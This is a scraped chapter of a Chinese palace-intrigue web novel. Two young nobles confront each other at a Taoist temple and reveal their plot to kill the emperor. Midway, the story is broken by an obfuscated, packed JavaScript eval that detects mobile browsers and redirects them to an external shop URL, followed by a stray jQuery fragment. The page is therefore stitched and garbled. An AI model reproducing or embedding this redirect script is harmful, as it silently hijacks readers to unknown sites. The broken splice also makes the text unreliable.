正值盛夏,便是信众也少有顶着烈阳前来参拜祈福求签的,往日里香客众多的栖云观难得冷清。
香客稀少,天气炎热,就连值殿的小道童也不见了人影。
道君神像高高在上。
渺渺青烟,缭绕盘旋,将神君悲悯世人的双眼都变得朦胧。
神君座下,有二人。
一站一跪。
站着的那位身穿淡紫色衣裙头戴帷帽,轻纱半遮半掩笼罩着他的面容,是沈折月。
另一位形容憔悴却莫名有一股靡丽之美,少年跪在蒲团上,双手合十放在胸前,手上蜿蜒着密密麻麻的血痂疤痕,眼帘轻阖,神情冷淡中透出几分古怪的虔诚。
正是上官宴。
二人一站一跪,俱都沉默不语,殿内安静得只有香烛燃烧时偶尔发出的哔啵声。
沈折月双手环于胸前,靠在一旁的柱子上,看着跪在蒲团上的上官宴,嘴角扬起一抹嘲讽的冷笑。
“上官宴,你一介书生,苦读圣人言,该敬鬼神而远之才对。”
最终,还是沈折月先开了口。
她说:“怎得天天来此跪拜一泥胎木偶,你能向它求到什么呢?”
上官宴没有说话,只安静地跪他的经。
母亲清醒以后,已经不记得霍湘,她高高兴兴的帮助父亲操持提亲娶亲的事宜,浑然不觉这件事对于她儿子来说意味着什么。
妹妹的身子越发衰败,只靠最后那点秘药免除病痛罢了。她是多聪慧敏锐的孩子,自打他坠崖回家后,只问过一次霍湘,见他不愿意说,便再也未曾提起过。可那双眼睛里分明都是伤心。
父亲大手笔请人收拾府邸,曾经霍湘站在游廊里用挥斥方遒的语气阐述着要把府邸收拾成什么样,如今都一一实现了,只是并非为了她。
上上签最近的食量也在减少,每日都会徘徊在她会出现的地方,空等一场,最后恹恹离去。
藏在假山里的鬼怪话本子,落在竹林石桌上的古琴,随手搁置在书架上的果脯,被拿去放置钗环的笔洗,掉在枕边的帕子……
上官宴带着妹妹离开了家,如今暂住栖云观,已经半月有余。
他也不知道自己到底为什么要来这里,来了又要做什么。
只是天地虽大,一时间,竟找不出一个可以安放自己的地方。
来到栖云观之后,他都会去仙君神像下面跪经,想要求一个心死。
许是心不够虔诚,太过功利,经文念了一卷又一卷,膝盖跪得僵硬发麻,可那一颗心至今也未曾死透。
“嗤。”
见上官宴不答,只一味虔诚跪经,沈折月冷嗤一声,说:“今天,陈夫人会带着你家给的聘礼上我家纳吉,如此,算算时间,这会儿她大概已经在我母亲面前了,你还要继续在这里装死?”
见他还是毫无反应,沈折月被气笑了,他眼眸淬霜,冷声道:“也好,你便在这里跪死吧,说不得你死了霍湘还愿意为你流两滴眼泪,让上官昉吃吃醋,给他们二人增添一番情趣,也算你的造化。”
这话说得歹毒,上官宴在听到霍湘二字时终于有了反应。
他发现,自己默诵的清静经不知道什么时候,已经全部变成了霍湘二字。
“沈折月,看在你那日助我活命的份上,我真的不想杀你,还望你不要逼我。”
上官宴轻轻吐出一口浊气,睁开眼睛,微微蹙起眉心,有些无奈地看着沈折月,说:“这桩婚事是你为达目的谋算得来,怎得如今为之痛苦愤怒的人还是你?”
他甚至在嘈杂混沌的思绪中,浮现些许对此人行为的好奇来。
“沈折月,你到底所求为何呢?”
“是能够光明正大现于人前,可以去建功立业的男儿身?还是有了男儿身才能争取到霍湘芳心呢?”
沈折月闻言,如遭雷击。
他近乎憎恨地俯视着跪在蒲团上的少年,而对方也缓缓抬起头来,与他对视。
分明占据高位的人是他,可在这一刻,沈折月却觉得自己被压制的那个。
是啊。
如果单纯只是为了拥有男儿身以后,可以去博一个获得霍湘的机会,那他只需要像母亲筹划的那样,耐心等到上官昉死了,拥立幼帝上位。到那时,母亲随便找个类似“当初让儿子扮作女装是为替先帝祈福”之类的说辞,就可以将他的身份掰回正轨。
不管真假,到那时上官昉已死,母亲作为作为宗室中地位最重的长辈,又有拥立之功,便是幼帝也只能顺着母亲的话,去嘉奖他这个为上官昉祈福付出良多的人,而非是追究他们一家的罪责。
待到那时,纵使霍湘已嫁为人妇,又或是成了上官昉的妃嫔,他若有心,自然可以再想办法将人夺回来。
何必非要这般劳心费力,既惹了霍湘伤心,又害得母亲为他日夜担忧。
自己所求,到底为何呢?
上官宴只是突然有些好奇才问一句,见沈折月低头不语,也不在乎对方此刻心里到底在想些什么。
他只是如同往常一样,跪经结束就起身离开大殿,走到了殿外广场中的那颗千年银杏树下面。
仰起头,一眼就找到了当初被自己挂上树梢的祈福签。
绿树如茵,树枝上挂满了密密麻麻的祈福签,签子下面长长的红色飘带连接着凡人们的欲望渴求。
树梢最顶端处,挂着一颗略有不同的祈福签。
红色的飘带左右各缀着一支竹木签文,两支木签随着飘带一起,紧密地交缠着。
在栖云观待久了,听多了解签人为香客们解签,上官宴如今也知道了他们二人当初求到的签文是什么寓意。
霍湘的那支签文是:蜃楼海市幻无边,万丈擎空接上天。或被狂风忽吹散,有时仍聚结青烟。
根基全无,皆是幻影。
意为所求之事,观之美好,但根基不稳,易受外界影响而消散。
而自己的那支签文是:白虎出山欲害人,鱼入罗网难脱身。害人之心则害己,飞虫扑火自伤生。
凶险困厄,自招灾祸。
签文里句句都是告诫,劝人回头是岸,莫要做那扑火飞蛾,否则终究会因自身恶念恶欲遭受反噬。
上官宴不知道霍湘求了什么,签文到底有没有灵验。
他只知道,自己确实如签文所说,没有听从内心的告诫,自以为可以侥幸得爱,最终还是做了那扑火的飞蛾。
如今的一切苦痛折磨,都是他咎由自取。
“上官宴。”
沈折月跟了出来,来到了上官宴的身边,也抬起头看着随风摇摆的绿叶,还有那些在绿叶中摇摆的红色签文。
“嗯?”
“你不恨吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650843|204011||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你恨?”
“我当然恨!”
沈折月冷笑连连,“这十多年来,我母亲没有睡过一个好觉。她爱敬自己的兄长,可以为先帝豁出性命去。当初为了我才生出了那么一点儿私心,可这是一个母亲想要保护孩子的本能而已,她有错吗?”
“她自觉对不起兄长,每当上官昉生病的消息传来,我娘就会去家中佛堂日夜跪经,为他祈福。因为她愧疚,生怕是因为她没舍得我去给上官昉填命,才导致上官昉缠绵病榻命不久矣。”
一想到这些年来,母亲几乎被这份愧疚折磨得不成人形,沈折月的眼里就洋溢着浓郁的恨意。
“我父,才华横溢的状元郎,得公主垂青,二人琴瑟和鸣本该多好的人生。可是他如今未满四旬便已发丝雪白,母亲煎熬了多久,父亲他便跟着担忧心疼了多久。”
“而我呢,我被当成女儿家养了十多年,就算是有朝一日恢复男儿身,我真的能做到毫无芥蒂的接受自己男人的身份吗?”
沈折月转头看上官宴,嘴角挑起一抹古怪的笑意:“分明是先帝做的孽,害得我们一家人苦苦煎熬许多年,结果到头来终于熬出头,还要去给上官昉的儿子跪恩谢罪,凭什么呢?”
上官宴终于转头,对沈折月施以关注。
他轻声说:“所以上官昉至今无子,并非全然因为身体病弱。”
“所以你才有机会,夺回原本属于你这一脉的帝位。”
沈折月没有直接回答,但他的眼神明明白白肯定了上官宴的猜测。
“或许说来你不信,对于将帝位夺回一事,是我父亲的毕生夙愿,而非我的。”
上官宴看着自己的右手指腹上那一层笔茧。
就在半年前,他还按部就班的进行着自己的计划。
他已经代表怀懿太子一脉向当今陛下臣服,只要在明年的春闱上名列前茅,获得入仕的资格,再借着怀懿太子余荫,想必要不了十年他便可以入主中枢。思及当今陛下病弱的身体,说不得,十年后不止是入住中枢,他还能以朝廷重臣兼宗室长辈的身份,成为陛下的托孤之人,理所当然的把持朝政。
到那时,进一步可效仿曹丞相,退一步可保全自家世代安稳。
无论进退,都有选择。
不像父亲计划的那样,永远奔着皇位而去,只能成功,不能失败。
如今,只是过去了短短半年而已,他的计划却已经被打得七零八落。
事到如今,他已没有选择。
“沈折月,我不喜欢优柔寡断之人,你三番五次寻我合作,既然如今合作达成,我希望你能想明白自己要的是什么,你愿意为之舍弃什么。”
上官宴神情淡漠地说着警告的话:“你内心的痛苦怨恨和游移不定是你的事,你自己去解决,不要总试图挑起我的情绪,让我和你一起沉沦。”
“那你呢?你又愿意为之舍弃什么?”沈折月见不得他这副云淡风轻的德行,挑衅反问:“你难道愿意舍弃霍湘吗?”
“这话我只会回答你一次。”
上官宴转回去继续看着最顶端树梢上挂着的那支祈福签,轻声道:“她从来未曾选过我,我从来未曾得到过她,又何来舍弃不舍弃一说。”
她爱的人一直是上官昉,而他如今要做的事,便是杀死她心爱之人。
他们之间,注定了不死不休。